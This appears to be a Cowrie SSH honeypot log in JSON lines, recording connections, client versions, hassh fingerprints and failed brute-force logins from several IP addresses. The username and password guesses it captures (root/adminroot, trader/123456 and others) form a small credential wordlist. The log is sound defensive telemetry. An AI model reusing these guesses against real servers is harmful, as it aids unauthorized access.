{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:54.932233Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn","message":"login attempt [dustyn/dustyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:55.291776Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn1","message":"login attempt [dustyn/dustyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:56.377472Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn123","message":"login attempt [dustyn/dustyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:57.463413Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn1234","message":"login attempt [dustyn/dustyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:58.550160Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn12345","message":"login attempt [dustyn/dustyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:34:59.636133Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:35:00.722083Z","src_ip":"213.209.159.56","session":"b4110b04f151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51658,"dst_ip":"10.17.0.5","dst_port":22,"session":"469e5c113c3c","protocol":"ssh","message":"New connection: 2.57.122.208:51658 (10.17.0.5:22) [session: 469e5c113c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:35:01.548080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:35:01.838840Z","src_ip":"2.57.122.208","session":"469e5c113c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:35:01.843144Z","src_ip":"2.57.122.208","session":"469e5c113c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:35:03.454967Z","src_ip":"2.57.122.208","session":"469e5c113c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:35:04.829095Z","src_ip":"2.57.122.208","session":"469e5c113c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":5222,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e1f86fa5e83","protocol":"ssh","message":"New connection: 113.190.252.123:5222 (159.203.135.109:22) [session: 4e1f86fa5e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:36:55.223659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:36:55.228759Z","src_ip":"113.190.252.123","session":"4e1f86fa5e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:36:55.789838Z","src_ip":"113.190.252.123","session":"4e1f86fa5e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:36:57.363538Z","src_ip":"113.190.252.123","session":"4e1f86fa5e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:36:59.002457Z","src_ip":"113.190.252.123","session":"4e1f86fa5e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40448,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7c84563172d","protocol":"ssh","message":"New connection: 103.15.226.202:40448 (10.17.0.5:22) [session: f7c84563172d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:37:09.406066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:37:09.411077Z","src_ip":"103.15.226.202","session":"f7c84563172d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:37:09.655027Z","src_ip":"103.15.226.202","session":"f7c84563172d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"klsm@$^*098","message":"login attempt [root/klsm@$^*098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:37:10.385405Z","src_ip":"103.15.226.202","session":"f7c84563172d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:37:11.631169Z","src_ip":"103.15.226.202","session":"f7c84563172d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52980,"dst_ip":"10.17.0.5","dst_port":22,"session":"48c28fb8338f","protocol":"ssh","message":"New connection: 45.148.10.121:52980 (10.17.0.5:22) [session: 48c28fb8338f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:19.202215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:19.547345Z","src_ip":"45.148.10.121","session":"48c28fb8338f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:19.552766Z","src_ip":"45.148.10.121","session":"48c28fb8338f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":41864,"dst_ip":"159.203.135.109","dst_port":22,"session":"350343135ab0","protocol":"ssh","message":"New connection: 27.79.44.54:41864 (159.203.135.109:22) [session: 350343135ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:46.191371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:46.205508Z","src_ip":"27.79.44.54","session":"350343135ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:46.455639Z","src_ip":"27.79.44.54","session":"350343135ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:47.647711Z","src_ip":"27.79.44.54","session":"350343135ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:38:48.971910Z","src_ip":"27.79.44.54","session":"350343135ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54790,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd22d8a894e6","protocol":"ssh","message":"New connection: 2.57.122.208:54790 (10.17.0.5:22) [session: bd22d8a894e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:39:00.623082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:39:00.780548Z","src_ip":"2.57.122.208","session":"bd22d8a894e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:39:00.786194Z","src_ip":"2.57.122.208","session":"bd22d8a894e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:39:01.927100Z","src_ip":"2.57.122.208","session":"bd22d8a894e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:39:03.408123Z","src_ip":"2.57.122.208","session":"bd22d8a894e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33008,"dst_ip":"10.17.0.5","dst_port":22,"session":"30193c33909f","protocol":"ssh","message":"New connection: 103.15.226.202:33008 (10.17.0.5:22) [session: 30193c33909f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:40:42.609986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:40:42.615127Z","src_ip":"103.15.226.202","session":"30193c33909f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:40:42.922380Z","src_ip":"103.15.226.202","session":"30193c33909f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Toyou@123","message":"login attempt [root/Toyou@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:40:43.658501Z","src_ip":"103.15.226.202","session":"30193c33909f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:40:44.904768Z","src_ip":"103.15.226.202","session":"30193c33909f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":36452,"dst_ip":"159.203.135.109","dst_port":22,"session":"157c52078581","protocol":"ssh","message":"New connection: 27.79.44.54:36452 (159.203.135.109:22) [session: 157c52078581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:41:49.782584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:41:49.787773Z","src_ip":"27.79.44.54","session":"157c52078581","protocol":"ssh"}
